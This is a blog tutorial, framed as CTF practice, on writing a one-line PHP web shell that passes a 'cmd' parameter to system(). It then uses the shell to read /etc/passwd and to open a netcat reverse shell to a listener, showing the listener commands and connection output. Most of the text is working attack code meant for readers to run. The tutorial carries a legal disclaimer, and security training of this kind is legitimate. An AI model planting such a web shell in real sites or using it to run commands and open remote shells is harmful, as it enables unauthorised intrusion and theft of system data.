Jason Turley's Website

Program a PHP Web Shell


Web shells are a valuable tool for attackers. They help with privilege escalation, data pilfering, further enumerating a network, and installing backdoors. A web shell is a good second step to use when exploiting systems that have SQL or XSS code injection vulnerabilities or allow remote/local file inclusion.

Web shells can be programmed in any server-side language, but I will focus on PHP since it is prevalent in legacy systems.

In this post we will see how to:

Disclaimer: This is a simple demo I threw together on my own computer in order to practice for CTF competitions. It is illegal to try these techniques on any system without the owner’s permission.

Readers are encouraged to follow along and try this exercise for themselves!

Launch a Web Server

Let’s begin by launching a demo PHP web server to host our vulnerable code.

$ php -S -t .

Then open up that address in a web browser. When first opening the page, you may see the below error page:


This is perfectly fine and has no impact on the rest of the demo. But feel free to practice your HTML skills by creating an index.html page like the following:


Now that our web server is running, time to write a PHP web shell.

Program the Web Shell

Add the following code to a file named shell.php:

    <title>Simple PHP Shell</title>

    <!-- Simple text form to enter commands -->
      <input type="text" name="cmd" />
      <input type="submit" value="Enter" />

    <!-- Execute the commands -->
    <?php system($_GET["cmd"])?>

Any data entered is given directly to the PHP system() function, which executes the data as a command.

Since the data is never checked, the user can execute any command they want! This is an extremely dangerous vulnerability!

Note: some other PHP functions that are susceptible to arbitrary code execution are exec() and passthru()

Now, go back to your web browser and navigate to shell.php:


Execute Commands

Enter a command in the text form and press enter to see the result. Below are the results of running “id” and “cat /etc/passwd”.



As you can see, we are able to view lots of information about the target!

Continue to play around and move on to the next section when ready.

Spawn a Reverse Shell

Entering commands in a web form can be fun, but is not really practical. It is much more appealing to have a shell instead. We can achieve this by creating a reverse shell!

On your local machine, open a new terminal and start a netcat listener:

$ nc -nlvp 5555
listening on [any] 5555 ...]

Then go back to the web browser and enter a reverse shell payload. I’ll be using netcat, but there are a myriad of ways other ways to do this. Check out Payload All The Things for more payloads.


Note: Enter your IP address instead of the

If done correctly, the browser will appear to be stuck loading and there will be a new connection on our netcat listener in the terminal.

$ nc -nlvp 5555                                                        
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 44480

Let’s test out our reverse shell!

$ nc -nlvp 5555                                                        
listening on [any] 5555 ...
connect to [] from (UNKNOWN) [] 44480

uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),133(scanner),142(kaboxer)



Everything works correctly, and we no longer need to input commands into the web input form. If you want to learn how to create a more interactive shell, read my blog post on how to stabilize a reverse shell.

Further Reading